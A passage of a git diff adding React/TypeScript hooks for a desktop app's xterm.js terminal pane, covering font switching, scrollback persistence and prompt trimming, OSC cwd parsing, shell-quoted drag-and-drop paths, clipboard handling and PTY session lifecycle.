+import { useEffect, useRef } from 'react'
+import type { RefObject } from 'react'
+
+import { $terminalFontFamily, applyTerminalFontFamily, resolveTerminalFontFamily } from './terminal-font'
+
+interface TerminalFontControllerOptions {
+  fitRef: RefObject<((visible: boolean) => void) | null>
+  termRef: RefObject<Terminal | null>
+  webglRef: RefObject<WebglAddon | null>
+}
+
+/**
+ * Share profile-backed font state across user and agent terminals. The owner
+ * flips mountedRef only after term.open(); before then, its mount path reads
+ * latestFontFamilyRef and warms the newest value itself.
+ */
+export function useTerminalFontController({ fitRef, termRef, webglRef }: TerminalFontControllerOptions) {
+  const configured = useStore($terminalFontFamily)
+  const fontFamily = resolveTerminalFontFamily(configured)
+  const latestFontFamilyRef = useRef(fontFamily)
+  const mountedRef = useRef(false)
+  const generationRef = useRef(0)
+
+  latestFontFamilyRef.current = fontFamily
+
+  useEffect(() => {
+    const term = termRef.current
+
+    if (!mountedRef.current || !term || term.options.fontFamily === fontFamily) {
+      return
+    }
+
+    const generation = ++generationRef.current
+    let cancelled = false
+
+    void applyTerminalFontFamily({
+      clearTextureAtlas: () => webglRef.current?.clearTextureAtlas(),
+      fit: () => fitRef.current?.(true),
+      fontFamily,
+      isCurrent: () => !cancelled && generationRef.current === generation,
+      term
+    })
+
+    return () => {
+      cancelled = true
+    }
+  }, [fitRef, fontFamily, termRef, webglRef])
+
+  return { latestFontFamilyRef, mountedRef }
+}
diff --git a/ui-desktop/src/app/right-sidebar/terminal/use-terminal-session.ts b/ui-desktop/src/app/right-sidebar/terminal/use-terminal-session.ts
new file mode 100644
index 000000000..812ecf10e
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/use-terminal-session.ts
@@ -0,0 +1,1059 @@
+import { FitAddon } from '@xterm/addon-fit'
+import { SerializeAddon } from '@xterm/addon-serialize'
+import { Unicode11Addon } from '@xterm/addon-unicode11'
+import { WebglAddon } from '@xterm/addon-webgl'
+import { Terminal } from '@xterm/xterm'
+import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
+import type { CSSProperties } from 'react'
+
+import { writeClipboardText } from '@/components/ui/copy-button'
+import { markRightPanePerf } from '@/debug/right-pane-events'
+import { triggerHaptic } from '@/lib/haptics'
+import { $previewTarget } from '@/store/preview'
+import { useTheme } from '@/themes/context'
+
+import { $terminalInjection } from '../store'
+
+import { observeActiveTerminalResize } from './active-resize'
+import { makeTerminalReader, registerTerminalReader } from './buffer'
+import { mirrorSelection, terminalClipboardIntent } from './clipboard'
+import { terminalLinkHandler, terminalWebLinksAddon } from './links'
+import {
+  isAddSelectionShortcut,
+  isMacPlatform,
+  resolveSurfaceColor,
+  terminalSelectionAnchor,
+  terminalSelectionLabel,
+  terminalTheme
+} from './selection'
+import { prepareTerminalFontFamily } from './terminal-font'
+import { closeTerminal, updateTerminalRestoreCwd, updateTerminalReviveBuffer } from './terminals'
+import { useTerminalFontController } from './use-terminal-font'
+
+// How many scrollback lines to serialize for relaunch restore. Mirrors VS Code's
+// terminal.integrated.persistentSessionScrollback default; the store caps the
+// resulting string so a long line-wrapped buffer can't blow the storage budget.
+const PERSISTENT_SESSION_SCROLLBACK = 200
+
+// Leading-edge throttle window for capturing history. The first output after an
+// idle gap persists almost immediately (so `cmd; quit` is on disk before the
+// renderer tears down), then at most once per window while output streams.
+const SNAPSHOT_THROTTLE_MS = 750
+
+// Minimum gap between main-side PTY cwd probes. The probe spawns lsof on macOS,
+// so keep it well throttled — cwd only changes on a `cd`, which the reporter
+// already reads off the next output snapshot anyway.
+const CWD_PROBE_THROTTLE_MS = 2000
+
+// True once the page/app is tearing down (Cmd+Q, Alt+F4, window close, reload).
+// App quit kills the PTYs from the main process, which fires onExit in the
+// renderer — but React skips effect cleanups on teardown, so the per-instance
+// `disposed` flag never flips. Without this guard those teardown exits would call
+// closeTerminal() and wipe the persisted terminal list right before relaunch
+// reads it. A real `exit`/Ctrl-D still closes the tab (flag stays false).
+let appTearingDown = false
+
+if (typeof window !== 'undefined') {
+  const markTearingDown = () => {
+    appTearingDown = true
+  }
+
+  window.addEventListener('pagehide', markTearingDown)
+  window.addEventListener('beforeunload', markTearingDown)
+}
+
+type TerminalStatus = 'closed' | 'open' | 'starting'
+
+// ⌘/Ctrl+L is a global shortcut, so a text selection in the file preview pane
+// lands in this handler with no xterm selection. Label those with the previewed
+// file's name instead of the shell, so the composer ref reads as a file quote
+// rather than a bogus "zsh:N lines".
+function previewSelectionLabel(): string {
+  const target = $previewTarget.get()
+  const source = target?.path || target?.url || ''
+
+  return source.split(/[\\/]/).filter(Boolean).pop() || target?.label?.trim() || ''
+}
+
+const CLAWCODEX_PATHS_MIME = 'application/x-clawcodex-paths'
+
+function readEscapeSequence(data: string, index: number) {
+  if (data.charCodeAt(index) !== 0x1b || index + 1 >= data.length) {
+    return null
+  }
+
+  const kind = data[index + 1]
+
+  if (kind === '[') {
+    for (let i = index + 2; i < data.length; i += 1) {
+      const code = data.charCodeAt(i)
+
+      if (code >= 0x40 && code <= 0x7e) {
+        return data.slice(index, i + 1)
+      }
+    }
+  }
+
+  if (kind === ']') {
+    for (let i = index + 2; i < data.length; i += 1) {
+      if (data.charCodeAt(i) === 0x07) {
+        return data.slice(index, i + 1)
+      }
+
+      if (data.charCodeAt(i) === 0x1b && data[i + 1] === '\\') {
+        return data.slice(index, i + 2)
+      }
+    }
+  }
+
+  // Character-set and other short ESC forms are three bytes (e.g. ESC ( B).
+  // Treating only ESC+( as a sequence leaves the final selector ("B") as
+  // printable text, which disarms the initial prompt-gap stripper before it can
+  // eat the shell's leading newline.
+  if (['(', ')', '*', '+', '-', '.', '/'].includes(kind) && index + 2 < data.length) {
+    return data.slice(index, index + 3)
+  }
+
+  return data.slice(index, Math.min(index + 2, data.length))
+}
+
+function stripEscapeSequences(data: string) {
+  let index = 0
+  let text = ''
+
+  while (index < data.length) {
+    const sequence = readEscapeSequence(data, index)
+
+    if (sequence) {
+      index += sequence.length
+    } else {
+      text += data[index]
+      index += 1
+    }
+  }
+
+  return text
+}
+
+// Keep only the ANSI escape sequences from a chunk, dropping printable text. Lets
+// us apply control codes (e.g. a clear-screen) while discarding boot spacers and
+// zsh's reverse-video "%" partial-line marker.
+function keepEscapeSequences(data: string) {
+  let index = 0
+  let out = ''
+
+  while (index < data.length) {
+    if (data.charCodeAt(index) === 0x1b) {
+      const sequence = readEscapeSequence(data, index)
+
+      if (sequence) {
+        out += sequence
+        index += sequence.length
+
+        continue
+      }
+    }
+
+    index += 1
+  }
+
+  return out
+}
+
+function stripInitialPromptGap(data: string) {
+  let index = 0
+  let prefix = ''
+
+  while (index < data.length) {
+    const sequence = readEscapeSequence(data, index)
+
+    if (sequence) {
+      prefix += sequence
+      index += sequence.length
+    } else if (data[index] === '\r' || data[index] === '\n') {
+      index += 1
+    } else {
+      return prefix + data.slice(index)
+    }
+  }
+
+  return prefix
+}
+
+// A row's content with ANSI escapes and all whitespace stripped — '' for a
+// spacer / prompt-gap / zsh `%` marker row.
+const visibleText = (line: string) => stripEscapeSequences(line).replace(/[\s%]/g, '')
+
+// Trim the shell's trailing idle prompt from a serialized snapshot before it's
+// persisted. Without it, the saved buffer ends in the old prompt, so the next
+// launch replays it directly above the fresh shell's prompt ("double bar").
+//
+// An interactive shell always reprints its prompt after a command finishes, so
+// the tail of an idle buffer is the prompt, never real history. Two prompt
+// shapes exist:
+//   - Spaced/multi-line (starship add_newline, powerline): a blank line sits
+//     just above the prompt, so the short block after the last blank is dropped.
+//   - Single-line (default PowerShell `PS C:\..>`, bash `user@host:~$`): no blank
+//     separator, so the final line itself is the prompt and is dropped.
+// The fresh shell reprints the current prompt on boot either way, so only the
+// redundant idle prompt is removed — command output is preserved.
+export function cleanReviveSnapshot(serialized: string): string {
+  const lines = serialized.split(/\r?\n/)
+
+  while (lines.length && !visibleText(lines[lines.length - 1])) {
+    lines.pop()
+  }
+
+  if (lines.length === 0) {
+    return ''
+  }
+
+  const lastBlank = lines.findLastIndex(line => !visibleText(line))
+  const spacedPrompt = lastBlank >= 0 && lines.length - 1 - lastBlank <= 3
+
+  // Spaced prompt (starship/powerline): drop the block after the blank
+  // separator. Otherwise the last line is the single-line prompt itself.
+  lines.length = spacedPrompt ? lastBlank : lines.length - 1
+
+  return lines.join('\r\n')
+}
+
+// True when a revive buffer holds no real scrollback: empty, or only repeats of
+// one line (the idle prompt). This is the idle-accumulation signature (#61572) —
+// each relaunch replayed the saved prompt(s) and the fresh shell printed one more
+// below, growing the tab by a line per cycle. Real sessions vary (prompt +
+// command + output), so genuine short histories are never mistaken for idle.
+export function isIdlePromptOnly(serialized: string): boolean {
+  const lines = serialized.split(/\r?\n/).map(visibleText).filter(Boolean)
+
+  return lines.length === 0 || lines.every(line => line === lines[0])
+}
+
+interface UseTerminalSessionOptions {
+  /** Renderer-side terminal id (the tab handle), used to key the agent reader. */
+  id: string
+  cwd: string
+  /** Only the active tab is visible, owns the agent reader, and runs injections. */
+  active: boolean
+  onAddSelectionToChat: (text: string, label?: string) => void
+  /** Last observed shell cwd from the previous session; the fresh PTY starts
+   *  here (falling back to `cwd`) so a prior `cd` survives a relaunch. */
+  restoreCwd?: string
+  /** Serialized scrollback from the previous session, replayed once on mount. */
+  reviveBuffer?: string
+  /** Reports the resolved shell name once the PTY is live (for the tab label). */
+  onShell?: (shell: string) => void
+}
+
+// Parse a working directory out of a cwd-reporting OSC payload. Covers OSC 7
+// (`file://host/path`, emitted by many bash/zsh integrations) and OSC 9;9
+// (`9;<path>`, ConEmu/Windows-Terminal style some PowerShell profiles emit).
+// Returns null for anything unrecognized so callers can ignore it.
+export function parseOscCwd(code: 7 | 9, payload: string): string | null {
+  if (code === 9) {
+    // OSC 9;9;<path> — the leading "9;" selects the cwd sub-command.
+    if (!payload.startsWith('9;')) {
+      return null
+    }
+
+    const raw = payload.slice(2).trim().replace(/^"|"$/g, '')
+
+    return raw || null
+  }
+
+  // OSC 7 — a file URI. Strip the scheme + authority and percent-decode.
+  const match = /^file:\/\/[^/]*(\/.*)$/.exec(payload.trim())
+
+  if (!match) {
+    return null
+  }
+
+  let raw = match[1]
+
+  try {
+    raw = decodeURIComponent(raw)
+  } catch {
+    // Keep the undecoded path if it isn't valid percent-encoding.
+  }
+
+  // Windows file URIs carry a leading slash before the drive (`/C:/Users`).
+  const windows = /^\/[A-Za-z]:[\\/]/.exec(raw)
+
+  return (windows ? raw.slice(1) : raw) || null
+}
+
+// Bind the palette to the live skin surface so the terminal blends with the app
+// (and the contrast clamp has a real background to work against).
+function withSurface(theme: ReturnType<typeof terminalTheme>) {
+  const surface = resolveSurfaceColor(theme.background ?? '#ffffff')
+
+  return { ...theme, background: surface, cursorAccent: surface }
+}
+
+function transferHasDropCandidates(t: DataTransfer): boolean {
+  if (t.types?.includes(CLAWCODEX_PATHS_MIME)) {
+    return true
+  }
+
+  if ((t.files?.length ?? 0) > 0) {
+    return true
+  }
+
+  for (let i = 0; i < (t.items?.length ?? 0); i += 1) {
+    if (t.items[i]?.kind === 'file') {
+      return true
+    }
+  }
+
+  return false
+}
+
+function collectDroppedPaths(t: DataTransfer): string[] {
+  const seen = new Set<string>()
+
+  const push = (value: unknown) => {
+    if (typeof value !== 'string') {
+      return
+    }
+
+    const path = value.trim()
+
+    if (path) {
+      seen.add(path)
+    }
+  }
+
+  try {
+    const raw = t.getData(CLAWCODEX_PATHS_MIME)
+
+    if (raw) {
+      for (const entry of JSON.parse(raw) as { path?: unknown }[]) {
+        push(entry?.path)
+      }
+    }
+  } catch {
+    // Malformed in-app drag payload — fall through to OS files.
+  }
+
+  const getPath = window.clawcodexDesktop?.getPathForFile
+
+  const addFile = (file: File | null) => {
+    if (!file || !getPath) {
+      return
+    }
+
+    try {
+      push(getPath(file))
+    } catch {
+      // File handle unavailable.
+    }
+  }
+
+  for (let i = 0; i < (t.files?.length ?? 0); i += 1) {
+    addFile(t.files.item(i))
+  }
+
+  for (let i = 0; i < (t.items?.length ?? 0); i += 1) {
+    const item = t.items[i]
+
+    if (item?.kind === 'file') {
+      addFile(item.getAsFile())
+    }
+  }
+
+  return [...seen]
+}
+
+function quotePathForShell(path: string, shellName: string): string {
+  const shell = shellName.toLowerCase()
+
+  if (shell.includes('powershell') || shell.includes('pwsh')) {
+    return `'${path.replace(/'/g, "''")}'`
+  }
+
+  if (shell.includes('cmd')) {
+    return `"${path.replace(/"/g, '""')}"`
+  }
+
+  return `'${path.replace(/'/g, "'\\''")}'`
+}
+
+export function useTerminalSession({
+  id,
+  cwd,
+  active,
+  onAddSelectionToChat,
+  restoreCwd,
+  reviveBuffer,
+  onShell
+}: UseTerminalSessionOptions) {
+  // Key off renderedMode (the painted surface type), not resolvedMode (the
+  // clicked switch) — a skin can keep a light surface in "dark" mode, and we
+  // must match the surface or the ANSI palette inverts against it. themeName
+  // re-resolves the canvas surface on skin switches (same mode, new tint).
+  const { renderedMode, theme, themeName } = useTheme()
+  // Adopt the skin's ANSI palette when it ships one (imported VS Code themes do),
+  // matched to the painted variant; built-in skins carry none, so the terminal
+  // keeps its VS Code defaults. withSurface still owns the background, so this
+  // never touches transparency.
+  const ansiPalette = renderedMode === 'dark' ? (theme.darkTerminal ?? theme.terminal) : theme.terminal
+  const activeTheme = useMemo(() => terminalTheme(renderedMode, ansiPalette), [renderedMode, ansiPalette])
+  const initialThemeRef = useRef(activeTheme)
+  const hostRef = useRef<HTMLDivElement | null>(null)
+  const termRef = useRef<Terminal | null>(null)
+  const webglRef = useRef<WebglAddon | null>(null)
+  const sessionIdRef = useRef<string | null>(null)
+  // Snapshot the revive buffer once: live snapshots feed updateTerminalReviveBuffer
+  // and would otherwise re-arm replay on every store-driven re-render.
+  const initialReviveBufferRef = useRef(reviveBuffer)
+  // The cwd to boot the fresh PTY in — the last dir the prior session observed
+  // (survives a `cd`), captured once so store-driven re-renders don't move it.
+  const initialRestoreCwdRef = useRef(restoreCwd)
+  // Latest cwd seen this session; de-dupes redundant store writes.
+  const lastObservedCwdRef = useRef<string | null>(null)
+  // Whether the user ever fed input into this session (keystrokes, paste,
+  // drag-and-drop paths, or an injected command). Gates idle-buffer handling in
+  // persistSnapshot so an untouched tab never re-saves an accumulating snapshot.
+  const hasSessionActivityRef = useRef(false)
+  const initialActiveRef = useRef(active)
+  const shellNameRef = useRef('shell')
+  const selectionLabelRef = useRef('')
+  const selectionRef = useRef('')
+  const onAddSelectionToChatRef = useRef(onAddSelectionToChat)
+  const onShellRef = useRef(onShell)
+  // Re-fit on activation: a tab hidden via display:none has a 0×0 host, so its
+  // last fit is stale by the time it's shown again.
+  const fitRef = useRef<((visible: boolean) => void) | null>(null)
+  const initialActiveFitRef = useRef(false)
+  const { latestFontFamilyRef, mountedRef } = useTerminalFontController({ fitRef, termRef, webglRef })
+  const [status, setStatus] = useState<TerminalStatus>('starting')
+  const [selection, setSelection] = useState('')
+  const [selectionStyle, setSelectionStyle] = useState<CSSProperties | null>(null)
+  const [shellName, setShellName] = useState('shell')
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    onAddSelectionToChatRef.current = onAddSelectionToChat
+    onShellRef.current = onShell
+  }, [onAddSelectionToChat, onShell])
+
+  // Live selection at call time. A redraw-heavy TUI (spinners, clocks) outruns
+  // onSelectionChange, so trust xterm directly — fall back to the native
+  // selection — rather than the cached ref / React state.
+  const readSelection = useCallback(
+    () => termRef.current?.getSelection() || window.getSelection()?.toString() || '',
+    []
+  )
+
+  const addSelectionToChat = useCallback(() => {
+    const termSelection = (termRef.current?.getSelection() || selectionRef.current).trim()
+    const selectedText = termSelection || window.getSelection()?.toString() || ''
+    const trimmed = selectedText.trim()
+
+    if (!trimmed) {
+      return
+    }
+
+    // Terminal selection → shell-anchored label; anything else came from the
+    // preview pane sharing this global shortcut → label it with the file.
+    const label = termSelection
+      ? selectionLabelRef.current ||
+        (termRef.current ? terminalSelectionLabel(termRef.current, shellNameRef.current, selectedText) : 'selection')
+      : previewSelectionLabel() || 'selection'
+
+    onAddSelectionToChatRef.current(trimmed, label)
+    termRef.current?.clearSelection()
+    selectionRef.current = ''
+    selectionLabelRef.current = ''
+    setSelection('')
+    setSelectionStyle(null)
+    triggerHaptic('selection')
+  }, [])
+
+  // Always listen — gating on the React selection state misses selections the
+  // TUI redraw races. Only swallow ⌘/Ctrl+L when there's text to send, else it
+  // must reach the shell as clear-screen.
+  useEffect(() => {
+    const onKeyDown = (event: KeyboardEvent) => {
+      if (!isAddSelectionShortcut(event) || !readSelection().trim()) {
+        return
+      }
+
+      event.preventDefault()
+      event.stopPropagation()
+      addSelectionToChat()
+    }
+
+    window.addEventListener('keydown', onKeyDown, { capture: true })
+
+    return () => window.removeEventListener('keydown', onKeyDown, { capture: true })
+  }, [addSelectionToChat, readSelection])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    const host = hostRef.current
+    const terminalApi = window.clawcodexDesktop?.terminal
+
+    if (!host || !terminalApi) {
+      setStatus('closed')
+
+      return
+    }
+
+    let disposed = false
+    const cleanup: Array<() => void> = []
+    let lastSentSize: { cols: number; rows: number } | null = null
+
+    const term = new Terminal({
+      allowProposedApi: true,
+      // ⌥-drag is our force-selection gesture (below), and xterm's default
+      // alt-click-moves-cursor claims the same click, emitting one cursor
+      // left/right escape per column of travel — shells that don't consume them
+      // echo the raw `^[[D` burst into the buffer. One gesture, one meaning.
+      altClickMovesCursor: false,
+      // Opaque canvas = WebGL's crisp fast-path. allowTransparency instead bakes
+      // glyphs as grayscale-alpha for compositing over a see-through canvas, which
+      // reads soft on every platform; VS Code keeps it off and our surface
+      // (--ui-bg-chrome) is opaque anyway, so withSurface paints it solid.
+      allowTransparency: false,
+      convertEol: true,
+      cursorBlink: true,
+      fontFamily: latestFontFamilyRef.current,
+      fontSize: 11,
+      // VS Code's terminal renders 'normal'/'bold' (400/700); we were using Medium
+      // (500) as the base, which reads a touch heavy at this size.
+      fontWeight: 'normal',
+      fontWeightBold: 'bold',
+      letterSpacing: 0,
+      lineHeight: 1.12,
+      // OSC 8 hyperlinks (gh, cargo, npm, ls --hyperlink) activate through this
+      // handler; without it xterm shows a raw confirm() and then a window.open
+      // Electron denies.
+      linkHandler: terminalLinkHandler,
+      // Full-screen TUIs (clawcodex --tui, vim) grab the mouse, so a plain drag
+      // can't select — ⌥-drag (macOS) / Shift-drag (else) forces a native
+      // selection over mouse-mode apps, which ⌘/Ctrl+L then sends to chat.
+      macOptionClickForcesSelection: true,
+      macOptionIsMeta: true,
+      // VS Code/Cursor's secret sauce: terminal.integrated.minimumContrastRatio
+      // defaults to 4.5 there. xterm defaults to 1 (off), which paints the raw
+      // saturated ANSI palette — vivid green/cyan on white reads as candy.
+      // Clamping to 4.5:1 darkens/lightens foregrounds against the background
+      // at render time, matching the muted ink-like look of their terminal.
+      minimumContrastRatio: 4.5,
+      scrollback: 1000,
+      theme: withSurface(initialThemeRef.current)
+    })
+
+    const fit = new FitAddon()
+    const serialize = new SerializeAddon()
+
+    termRef.current = term
+    term.loadAddon(fit)
+    term.loadAddon(serialize)
+    term.loadAddon(new Unicode11Addon())
+    term.loadAddon(terminalWebLinksAddon())
+    term.unicode.activeVersion = '11'
+
+    // Replay last session's scrollback before the fresh shell boots. The process
+    // is NOT revived — a new shell starts one line below the restored history.
+    // Stripping the boot gap still applies to the live shell output that follows,
+    // so the fresh prompt lands flush under the restored block.
+    const initialReviveBuffer = initialReviveBufferRef.current
+
+    if (initialReviveBuffer) {
+      term.write(initialReviveBuffer)
+      term.write('\r\n')
+    }
+
+    // Track the shell's working directory so a reopened tab restarts where the
+    // user last `cd`'d. Two independent signals feed it: cwd-reporting OSC
+    // sequences (immediate, for shells configured to emit them) and a periodic
+    // PTY cwd probe on the main side (shell-agnostic on POSIX). The store
+    // updater de-dupes, so both feeding it is harmless.
+    const recordCwd = (next: string | null | undefined) => {
+      const value = (next ?? '').trim()
+
+      if (!value || value === lastObservedCwdRef.current) {
+        return
+      }
+
+      lastObservedCwdRef.current = value
+      updateTerminalRestoreCwd(id, value)
+    }
+
+    const cwdOscHandlers = ([7, 9] as const).map(code =>
+      term.parser.registerOscHandler(code, payload => {
+        recordCwd(parseOscCwd(code, payload))
+
+        return false // let the sequence propagate; we only observe it
+      })
+    )
+
+    cleanup.push(() => cwdOscHandlers.forEach(handler => handler.dispose()))
+
+    let cwdProbeAt = 0
+
+    const probeCwd = () => {
+      const sessionId = sessionIdRef.current
+
+      if (!sessionId || !terminalApi.cwd || Date.now() - cwdProbeAt < CWD_PROBE_THROTTLE_MS) {
+        return
+      }
+
+      cwdProbeAt = Date.now()
+      void terminalApi
+        .cwd(sessionId)
+        .then(recordCwd)
+        .catch(() => {
+          // Best-effort: no cwd probe on this platform (e.g. Windows).
+        })
+    }
+
+    // Capture the buffer on a leading-edge throttle and persist synchronously via
+    // the store. No unload hook: by the time the user quits, a recent snapshot is
+    // already on disk (the prior beforeunload-based attempt lost the last output).
+    let snapshotTimer = 0
+    let lastSnapshotAt = 0
+
+    const persistSnapshot = () => {
+      if (disposed) {
+        return
+      }
+
+      lastSnapshotAt = Date.now()
+
+      // No user input this session: never re-serialize. The live buffer now holds
+      // the replayed history plus a fresh boot prompt, and re-saving that is
+      // exactly what grew idle tabs by one prompt line per relaunch (#61572).
+      // If the buffer we loaded carried no real scrollback (empty, or only a
+      // repeated prompt), clear it so the next launch shows a single fresh prompt
+      // and any pre-existing accumulation heals. Otherwise leave the prior
+      // snapshot untouched so real history from an earlier active session
+      // survives an idle reopen instead of being overwritten.
+      if (!hasSessionActivityRef.current) {
+        if (isIdlePromptOnly(initialReviveBufferRef.current ?? '')) {
+          updateTerminalReviveBuffer(id, '')
+        }
+
+        return
+      }
+
+      try {
+        const snapshot = serialize.serialize({ scrollback: PERSISTENT_SESSION_SCROLLBACK })
+        updateTerminalReviveBuffer(id, cleanReviveSnapshot(snapshot))
+      } catch {
+        // Best-effort restore: never let serialization break a live terminal.
+      }
+
+      // A user command may have `cd`'d; refresh the persisted cwd (throttled).
+      probeCwd()
+    }
+
+    const scheduleSnapshot = () => {
+      if (snapshotTimer) {
+        return
+      }
+
+      const elapsed = Date.now() - lastSnapshotAt
+
+      if (elapsed >= SNAPSHOT_THROTTLE_MS) {
+        persistSnapshot()
+
+        return
+      }
+
+      snapshotTimer = window.setTimeout(() => {
+        snapshotTimer = 0
+        persistSnapshot()
+      }, SNAPSHOT_THROTTLE_MS - elapsed)
+    }
+
+    cleanup.push(() => {
+      if (snapshotTimer) {
+        window.clearTimeout(snapshotTimer)
+      }
+    })
+
+    const onDragOver = (e: DragEvent) => {
+      if (!e.dataTransfer || !transferHasDropCandidates(e.dataTransfer)) {
+        return
+      }
+
+      e.preventDefault()
+      e.stopPropagation()
+      e.dataTransfer.dropEffect = 'copy'
+    }
+
+    const onDrop = (e: DragEvent) => {
+      const id = sessionIdRef.current
+
+      if (!id || !e.dataTransfer || !transferHasDropCandidates(e.dataTransfer)) {
+        return
+      }
+
+      e.preventDefault()
+      e.stopPropagation()
+      const paths = collectDroppedPaths(e.dataTransfer)
+
+      if (!paths.length) {
+        return
+      }
+
+      hasSessionActivityRef.current = true
+      void terminalApi.write(id, `${paths.map(p => quotePathForShell(p, shellNameRef.current)).join(' ')} `)
+      term.focus()
+      triggerHaptic('selection')
+    }
+
+    host.addEventListener('dragenter', onDragOver)
+    host.addEventListener('dragover', onDragOver)
+    host.addEventListener('drop', onDrop)
+    cleanup.push(() => {
+      host.removeEventListener('dragenter', onDragOver)
+      host.removeEventListener('dragover', onDragOver)
+      host.removeEventListener('drop', onDrop)
+    })
+
+    // While armed, strip leading blank rows so the first prompt lands at the
+    // very top (no starship `add_newline` gap). Do this only on renderer output:
+    // never inject Ctrl-L or other cleanup keystrokes into the user's shell.
+    let stripLeading = true
+
+    const armedWrite = (data: string) => {
+      if (!stripLeading) {
+        term.write(data)
+
+        return
+      }
+
+      const next = stripInitialPromptGap(data)
+      const visible = stripEscapeSequences(next).replace(/[\s%]/g, '')
+
+      if (!visible) {
+        // Spacer / lone clear-screen / zsh `%` marker: apply control codes but
+        // drop the blank text and stay armed so the prompt still lands at top.
+        const controls = keepEscapeSequences(next)
+
+        if (controls) {
+          term.write(controls)
+        }
+
+        return
+      }
+
+      stripLeading = false
+      term.write(next)
+    }
+
+    const fitAndResize = (visible: boolean) => {
+      if (disposed || !host.isConnected || host.clientWidth <= 0 || host.clientHeight <= 0) {
+        return
+      }
+
+      try {
+        fit.fit()
+        markRightPanePerf(visible ? 'terminal-fit-active' : 'terminal-fit-hidden', id)
+      } catch {
+        return
+      }
+
+      const sessionId = sessionIdRef.current
+
+      if (sessionId && (lastSentSize?.cols !== term.cols || lastSentSize?.rows !== term.rows)) {
+        lastSentSize = { cols: term.cols, rows: term.rows }
+        void terminalApi.resize(sessionId, { cols: term.cols, rows: term.rows })
+      }
+    }
+
+    fitRef.current = fitAndResize
+
+    const dataDisposable = term.onData(data => {
+      hasSessionActivityRef.current = true
+      const id = sessionIdRef.current
+
+      if (id) {
+        void terminalApi.write(id, data)
+      }
+    })
+
+    cleanup.push(() => dataDisposable.dispose())
+
+    const selectionDisposable = term.onSelectionChange(() => {
+      const next = term.getSelection()
+      selectionRef.current = next
+      selectionLabelRef.current = next.trim() ? terminalSelectionLabel(term, shellNameRef.current, next) : ''
+      // Mirror into xterm's helper textarea so the OS sees a real selection —
+      // that's what makes the Edit menu, ⌘C, and right-click Copy work over a
+      // canvas that has no DOM selection of its own.
+      mirrorSelection(host, next)
+      setSelection(next)
+      setSelectionStyle(next.trim() ? terminalSelectionAnchor(host) : null)
+    })
+
+    cleanup.push(() => selectionDisposable.dispose())
+
+    // Copy/paste chords. Returning false stops xterm from also sending the key
+    // to the PTY; every path that doesn't copy or paste returns true, so plain
+    // Ctrl+C with no selection still interrupts the running process.
+    term.attachCustomKeyEventHandler(event => {
+      const intent = terminalClipboardIntent(event, {
+        hasSelection: Boolean(term.getSelection()),
+        isMac: isMacPlatform()
+      })
+
+      if (!intent) {
+        return true
+      }
+
+      event.preventDefault()
+
+      if (intent === 'copy') {
+        const text = term.getSelection()
+        // Write through the main process: the renderer's clipboard API throws
+        // "Write permission denied" whenever the document isn't focused.
+        void writeClipboardText(text).catch(() => {
+          // Clipboard unavailable — the selection stays put so the user can retry.
+        })
+        term.clearSelection()
+        triggerHaptic('selection')
+
+        return false
+      }
+      void (async () => {
+        const text = (await window.clawcodexDesktop?.readClipboard?.()) ?? ''
+
+        if (text) {
+          hasSessionActivityRef.current = true
+          term.paste(text)
+        }
+      })()
+
+      return false
+    })
+
+    const startSession = () =>
+      void terminalApi
+        // Prefer the prior session's last cwd so a reopened tab lands where the
+        // user last `cd`'d; the main side falls back to the launch cwd (then
+        // home) if that dir no longer exists.
+        .start({ cols: term.cols, cwd: initialRestoreCwdRef.current || cwd, rows: term.rows })
+        .then(session => {
+          if (disposed) {
+            void terminalApi.dispose(session.id)
+
+            return
+          }
+
+          sessionIdRef.current = session.id
+          lastSentSize = { cols: term.cols, rows: term.rows }
+          shellNameRef.current = session.shell || 'shell'
+          setShellName(session.shell || 'shell')
+          onShellRef.current?.(session.shell || 'shell')
+
+          const initial = term.hasSelection() ? term.getSelection() : ''
+          selectionRef.current = initial
+          selectionLabelRef.current = initial ? terminalSelectionLabel(term, shellNameRef.current, initial) : ''
+
+          setStatus('open')
+
+          cleanup.push(
+            terminalApi.onData(session.id, data => {
+              armedWrite(data)
+              scheduleSnapshot()
+            }),
+            terminalApi.onExit(session.id, () => {
+              // Shell exited (`exit` / Ctrl-D / crash) — drop the tab like a real
+              // terminal. closeTerminal hides the pane when it's the last one.
+              // Skip if we're tearing down (cleanup disposes the PTY) OR the app
+              // is quitting/reloading: on quit the main process kills every PTY,
+              // firing this exit, but React skips the cleanup so `disposed` stays
+              // false — running closeTerminal here would wipe the persisted tabs
+              // right before relaunch restores them.
+              if (!disposed && !appTearingDown) {
+                closeTerminal(id)
+              }
+            })
+          )
+
+          window.requestAnimationFrame(() => {
+            term.clearSelection() // drop any selection painted over transient boot rows
+          })
+        })
+        .catch(error => {
+          setStatus('closed')
+          term.write(`Terminal failed to start: ${error instanceof Error ? error.message : String(error)}\r\n`)
+        })
+
+    // Open + fit + start only once webfonts settle. Fitting with fallback metrics
+    // picks the wrong row count, the shell boots at that size, then the real font
+    // loads -> refit -> SIGWINCH -> the shell reprints its prompt lower, leaving
+    // stale blank rows (and a stray selection) above it.
+    const mount = () => {
+      if (disposed || !host.isConnected) {
+        return
+      }
+
+      term.open(host)
+      mountedRef.current = true
+      term.focus()
+
+      // WebGL renderer matches the dashboard ChatPage path; xterm's default DOM
+      // renderer paints SGR via CSS classes that visibly mute against our skins.
+      try {
+        const webgl = new WebglAddon()
+        webgl.onContextLoss(() => {
+          webgl.dispose()
+          webglRef.current = null
+        })
+        term.loadAddon(webgl)
+        webglRef.current = webgl
+      } catch (err) {
+        console.warn('[clawcodex-terminal] WebGL unavailable; falling back to DOM', err)
+      }
+
+      fitAndResize(initialActiveRef.current)
+      initialActiveFitRef.current = initialActiveRef.current
+      startSession()
+    }
+
+    void prepareTerminalFontFamily(
+      () => latestFontFamilyRef.current,
+      () => !disposed && host.isConnected
+    ).then(fontFamily => {
+      if (!fontFamily) {
+        return
+      }
+
+      term.options.fontFamily = fontFamily
+      mount()
+    })
+
+    return () => {
+      disposed = true
+      mountedRef.current = false
+      cleanup.forEach(run => run())
+      fitRef.current = null
+
+      const id = sessionIdRef.current
+      sessionIdRef.current = null
+
+      if (id) {
+        void terminalApi.dispose(id)
+      }
+
+      term.dispose()
+      termRef.current = null
+      webglRef.current = null
